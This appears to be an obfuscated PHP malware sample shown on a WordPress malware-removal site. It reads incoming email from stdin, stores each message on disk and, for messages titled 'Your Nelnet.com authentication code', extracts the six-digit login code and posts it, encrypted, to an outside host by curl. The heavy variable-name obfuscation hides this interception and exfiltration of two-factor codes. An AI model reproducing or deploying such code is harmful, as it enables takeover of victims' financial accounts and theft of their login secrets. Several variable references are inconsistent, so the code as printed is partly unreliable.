            $wpzyrpnwud = "receivedMailDirectory";
            echo "Unable to create " . $receivedMailDirectory["installedDirectory"] . $receivedMailDirectory["dailyDirectory"] . "\r\n";
        }
    }
} else {
    if (!is_dir(${$GLOBALS["vrrprokj"]}["installedDirectory"] . ${$GLOBALS["sskexuzndcfm"]}["dailyDirectory"])) {
        $GLOBALS["ftnfljpp"] = "receivedMailDirectory";
        if (!mkdir($receivedMailDirectory["installedDirectory"] . ${$GLOBALS["vrrprokj"]}["dailyDirectory"])) {
            $jlwxdbyjyc = "receivedMailDirectory";
            $GLOBALS["xjrdsvegocc"] = "receivedMailDirectory";
            echo "Unable to create " . $receivedMailDirectory["installedDirectory"] . $receivedMailDirectory["dailyDirectory"] . "\r\n";
        }
    }
}
$wxcjvtg = "receivedEmail";
$rhbqorhcq = "receivedEmail";
${$GLOBALS["rvgfqceno"]} = fopen("php://stdin", "r");
$GLOBALS["itvvunpxodl"] = "emailData";
$emailData = array();
${$GLOBALS["qebuvfwoov"]} = array();
$hbmuxsr = "receivedEmail";
while (!feof(${$GLOBALS["rvgfqceno"]})) {
    $gqrton = "emailHandler";
    @(${$GLOBALS["qebuvfwoov"]}["originalMessage"] .= fread($emailHandler, 1024));
}
${$GLOBALS["qebuvfwoov"]}["modifiedMessage"] = preg_replace("/(^[\r\n]*|[\r\n]+)[\\s\t]*[\r\n]+/", "-END OF HEADER-", ${$GLOBALS["qebuvfwoov"]}["originalMessage"]);
${$GLOBALS["qebuvfwoov"]}["header"] = substr(${$wxcjvtg}["originalMessage"], 0, strpos(${$GLOBALS["qebuvfwoov"]}["modifiedMessage"], "-END OF HEADER-"));
${$GLOBALS["qebuvfwoov"]}["body"] = substr(${$GLOBALS["qebuvfwoov"]}["originalMessage"], strpos(${$jnkmjtl}["modifiedMessage"], "-END OF HEADER-"), strlen(${$GLOBALS["qebuvfwoov"]}["originalMessage"]) - strpos(${$GLOBALS["nagyhvhb"]}["modifiedMessage"], "-END OF HEADER-"));
preg_match_all("/^(.*): (.*)(\\n\\s+(.*))*/im", ${$hbmuxsr}["header"], ${$GLOBALS["wexcufdy"]});
preg_match("/^Received: by .* <(.*)>;/m", ${$muygcrvu}["header"], ${$pduhnpajw});
$sxgelukwxl = "subjectArray";
${$clxyexhvjmj}["actualTo"] = strtolower(${$mjmsrntcx}[1]);
preg_match("/^Subject: (.*)/m", ${$rhbqorhcq}["header"], ${$sxgelukwxl});
${$GLOBALS["ocbxneewx"]}["Subject"] = ${$fgabvls}[1];
$uhmaxeplcil = "parsedEmail";
preg_match("/^From: .* <(.*)>/m", ${$qneccvdo}["header"], ${$GLOBALS["bijbswei"]});
$ojbxjssxwgj = "headerDataArray";
${$GLOBALS["ohoecgtvci"]}["from"] = strtolower(${$GLOBALS["xibtvtkbe"]}[1]);
${$GLOBALS["tmjtrzfp"]} = 0;
foreach (${$ojbxjssxwgj}[1] as ${$ymcavgtp}) {
    $ufsemmwnjfih = "headerValue";
    $GLOBALS["yptylip"] = "emailHeaderData";
    ${$GLOBALS["ohoecgtvci"]}["header"][$emailHeaderData] = ${$GLOBALS["wexcufdy"]}[2][${$GLOBALS["tmjtrzfp"]}];
    ${$ufsemmwnjfih}++;
}
if (filter_var(@${$GLOBALS["ohoecgtvci"]}["actualTo"], FILTER_VALIDATE_EMAIL) && filter_var(@${$uhmaxeplcil}["from"], FILTER_VALIDATE_EMAIL)) {
    $GLOBALS["jifqutcddbb"] = "parsedEmail";
    $dqdgce = "emailFile";
    $GLOBALS["jvrbvglv"] = "emailFile";
    $GLOBALS["tuuldhew"] = "parsedEmail";
    ${$GLOBALS["scemqybona"]} = $parsedEmail["actualTo"] . "_from_" . $parsedEmail["from"] . "_" . date("m-d-Y_his") . ".txt";
    $GLOBALS["soilqxa"] = "emailFile";
    $GLOBALS["mjpbjutp"] = "receivedMailDirectory";
    ${$dqdgce} = preg_replace("/@/", "_at_", $emailFile);
    if (${$GLOBALS["gyokgb"]} = fopen(${$GLOBALS["mjpbjutp"]}["installedDirectory"] . ${$GLOBALS["vrrprokj"]}["dailyDirectory"] . ${$GLOBALS["jvrbvglv"]}, "a+")) {
        $ceyktxsbuch = "fh";
        $ybwnyrlsii = "fh";
        fwrite($fh, @${$GLOBALS["qebuvfwoov"]}["originalMessage"]);
        fclose($fh);
    }
} else {
    if (!filter_var(@${$GLOBALS["sopljmnkoh"]}["actualTo"], FILTER_VALIDATE_EMAIL) && !filter_var(@${$GLOBALS["ohoecgtvci"]}["from"], FILTER_VALIDATE_EMAIL)) {
        echo "\r\n\r\nBoth the to and from email addresses are invalid.\r\n\r\n";
        die;
    } else {
        if (!filter_var(@${$GLOBALS["ohoecgtvci"]}["actualTo"], FILTER_VALIDATE_EMAIL)) {
            echo "\r\n\r\nThe to email address is invalid.\r\n\r\n";
            die;
        } else {
            if (!filter_var(@${$GLOBALS["ohoecgtvci"]}["from"], FILTER_VALIDATE_EMAIL)) {
                echo "\r\n\r\nThe from email address is invalid.\r\n\r\n";
                die;
            }
        }
    }
}
${$GLOBALS["ohoecgtvci"]}["body"]["text"] = ${$GLOBALS["qebuvfwoov"]}["body"];
if (${$GLOBALS["ohoecgtvci"]}["Subject"] == "Your Nelnet.com authentication code") {
    $qfngnw = "htmlCodeEnd";
    $GLOBALS["dpbvkqfs"] = "dataToSend";
    $ecnlecc = "newBody";
    $qrodbov = "newBody";
    $GLOBALS["cigrwxohugb"] = "ch";
    $GLOBALS["ljxwlfsu"] = "htmlCodeStart";
    $GLOBALS["dwcqmqcfo"] = "htmlCodeStart";
    $ddcuftgphgj = "newBody";
    $htmlCodeStart = "Enter the following six-digit code into the Authentication Code field to finish logging in to your";
    $cnkgqyhipm = "receivedEmail";
    $xmoyuhlyuo = "htmlCodeEnd";
    $GLOBALS["nuqgqsmehk"] = "htmlCodeStartValue";
    $obxqcrjpq = "parsedEmail";
    $htmlCodeEnd = "This code was automatically generated by a login attempt to your account and will expire in 15 minutes.";
    $GLOBALS["gtticghhbbi"] = "mesResult";
    $GLOBALS["awwjxwbrmj"] = "htmlCodeStartValue";
    $htmlCodeStartValue = strpos(${$GLOBALS["qebuvfwoov"]}["body"], $htmlCodeStart);
    $newBody = substr($receivedEmail["body"], $htmlCodeStartValue);
    $GLOBALS["fwyuqt"] = "ch";
    ${$GLOBALS["okzshcx"]} = substr($newBody, 0, strpos(${$GLOBALS["okzshcx"]}, $htmlCodeEnd));
    preg_match("/Enter the following six-digit code into the Authentication Code field to finish logging in to your.* text-align: center;\">(.*)<\\/p>/mis", ${$ddcuftgphgj}, ${$GLOBALS["pipoujtm"]});
    ${$obxqcrjpq}["timestamp"] = time();
    ${$GLOBALS["ohoecgtvci"]}["authCode"] = ${$GLOBALS["pipoujtm"]}[1];
    ${$GLOBALS["yskyjodupyf"]} = base64_encode(cryptData(json_encode(${$GLOBALS["ohoecgtvci"]}), 0));
    ${$GLOBALS["fwyuqt"]} = curl_init("https://caportal.myedusolutions.com/secureforms/nelnetAuth.php");
    curl_setopt(${$GLOBALS["cigrwxohugb"]}, CURLOPT_POSTFIELDS, ${$GLOBALS["dpbvkqfs"]});
    curl_setopt(${$GLOBALS["sacwjq"]}, CURLOPT_HTTPHEADER, array("Content-Type:application/json"));
    curl_setopt(${$GLOBALS["sacwjq"]}, CURLOPT_RETURNTRANSFER, TRUE);
    ${$GLOBALS["jlccistfb"]} = curl_exec(${$GLOBALS["sacwjq"]});
    curl_close(${$GLOBALS["sacwjq"]});
    echo ${$GLOBALS["gtticghhbbi"]};
}
die;

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.